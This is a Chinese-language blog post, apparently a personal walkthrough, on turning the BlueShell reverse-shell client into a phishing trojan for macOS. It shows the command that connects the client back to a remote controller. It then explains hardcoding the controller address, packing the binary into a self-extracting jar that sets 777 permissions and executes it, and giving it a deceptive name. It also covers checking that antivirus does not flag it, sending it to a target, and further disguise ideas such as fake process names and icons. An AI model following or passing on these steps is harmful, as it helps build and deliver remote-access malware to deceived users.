记一次“脚本小子”式的Mac远控

近几日想重温远控,想多实操一些非命令式的反弹shell,如宏、特洛伊文件等形式,可通过钓鱼的方式,发送给目标,诱骗对方点击即可达到肉鸡上线。学习了一遍cs,发现其仅支持WindowsLinux两种Listener。然后回看了MSF,虽然能msfvenom各种payload,但好像对Mac方面的支持也比较少。尤其想以钓鱼的形式攻击,很难隐藏行为(仅在文件名层面欺骗)。

然后心里想到底有没有Mac远控这样的脚本呢。对于红队或黑客来说,Windows存在域,有非常多个人用户,利益链和危害性非常大。而Linux可部署众多服务,有众多开放资产,比较容易突破,容易成为第一个跳板。而Mac,一般都是个人使用,不像前二者一样能通过外部开放业务进行突破,导致了没有多少针对Mac的远控。打算通过命令执行,反弹一个shell,结果不行。Mac与Linux果然有很大的区别。

没有可直接拿来用的,身为“脚本小子”当然不开心。自己写是不可能自己写的,只能到处嫖一下资源才能维持得了生活。一顿查找,找到了一个挺好挺合适的工具-BlueShell

这是用go写的,可以编译成二进制文件,编译适用于Mac的也可以,同时生成的文件没有后缀,觉得再合适不过了。

该软件暂不支持Windows端,用虚拟机测试好像又不太真实,所以想直接以远程主控模拟实际的攻击效果。这里我选了一台阿里云的服务器当主控,看看能否反弹shell到一台独立IP的主机上。服务器直接在其Releases下载了二进制文件,并运行脚本充当主控进行监听。

至此万事具备,开开心心地下载了Mac版的client二进制文件,简简单单地按照README的操作,果然能反弹一个shell。

./bsClient-Mac-amd64 -h 主控IP -p 端口

但现在只是找到了一个可用的工具,离我的设想还有点距离。我想搞个可钓鱼的工具,但脚本运行需要传参,行为可太明显了。我看了一下源码,发现可以修改默认的设置,因此我修改源码再编译,把主控的IP和端口写了进去,然后再编译,这样在启动时就可以不用传参。
这里需要注意,要是想远控Mac,编译这个脚本也得使用Mac进行编译,即需要以对应的平台编译。我一开始使用Linux进行编译,结果在Mac测试时一直报错,搜索折腾一番才知道二者文件格式并不完全兼容。而Mac我一开始安装的是最新版的go,一直build失败,报错等。搞了大半天,最后只能卸载,下载了旧版的,然后才编译通过(巨坑)。

把该编辑好的client.go用README的方法给打包成二进制文件,此时可以直接不带参数在命令行执行:

chmod +x client   # 这里需要给权限,同时文件名可以任意改
./client

但我们想通过钓鱼让对方能“不慎”执行,在命令行运行并不太合适,并且一旦关闭终端,shell也就断开了,进程运行在终端内。另编译后的可执行文件,虽然能双击直接运行,但会弹出终端窗口,相信大部分使用Mac的人,都不是小白,看到出现终端肯定会有所警觉,而且关闭该终端依然会终止shell进程。

因此需要把这个shell再包装一下,需要欺骗用户双击执行,且不需要依赖终端运行。看了一下,Mac好像都自带Java和python等。先看python,可以在python里通过os.system()等执行终端命令,但需要把马也传过去,不好隐藏,万一被看穿了就不太好了。再看看Java,可以把其他文件打包进jar包内,单文件,双击即可运行,完美。

我这里使用netwire,选择其文件附加的形式,将client打造成一个jar文件,名称命名为有点欺骗性的install.jar之类的,不过生成的jar直接运行报错,甚至双击无反应。查看报错:Invalid or corrupt jarfile,感觉不太好搞。考虑到可能是在Windows上使用netwire打包的原因,只能将其CrossPlatformInstaller模块代码复制到mac上并稍加改造,然后生成了一个jar

细读其代码,发现自己动手改造(学习),代码主要结构如下,其中bsClient为我们的马:

1、System.getProperty("os.name").toLowerCase()  // 获取系统环境
2、CrossPlatformInstaller.class.getResourceAsStream("cfg/config")   // 获取配置文件,部分交互信息填写在该配置文件中
3、saveFile(String tmpFilePath, String attachFilePath)   // 保存文件,使用createTemFile()创建并写入
4、executeFile()  // 使用Runtime.getRuntime().exec()给生成的文件添加执行权限,这里使用777
5、选用合适的Java版本并打包成jar

直白一点就是,把马放在项目内,在运行时读取马并写入临时区,并给其添加权限。

总算造了一个满意的钓鱼软件-远控马了,然后在测试中发现自己用的Mac自带了Java14,在编译jar包时也选了Java14,在其他机器上运行有点bug。然后改用Java8进行编译jar,然后就可以横行了。在发送钓鱼前,还下载了Avria等为数不多的安全软件进行扫描,单独扫描无报毒。

然后修改名称伪装好,然后将jar文件发给钓鱼对象。

不过此人十分警觉,说了实话并把特征告诉他后,帮我完成了双击并秒kill进程:

特意造了两个,分别对应Java14与Java8环境。但运行时一直有警告的东西弹出,需要用户在设置里放行或点击允许,但并没有报错及其他病毒警告等信息。

后期改进:
1、可以自己控制进程名称,可在Java文件内填写疑似系统进程的名称
2、考虑将马捆绑至其他Java应用内,或为jar文件替换图标等信息增加迷惑性

结束语
此文章仅分享过程,对于Java代码等不选择公开,但思路挺简单的。
又水了一篇垃圾文章。

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注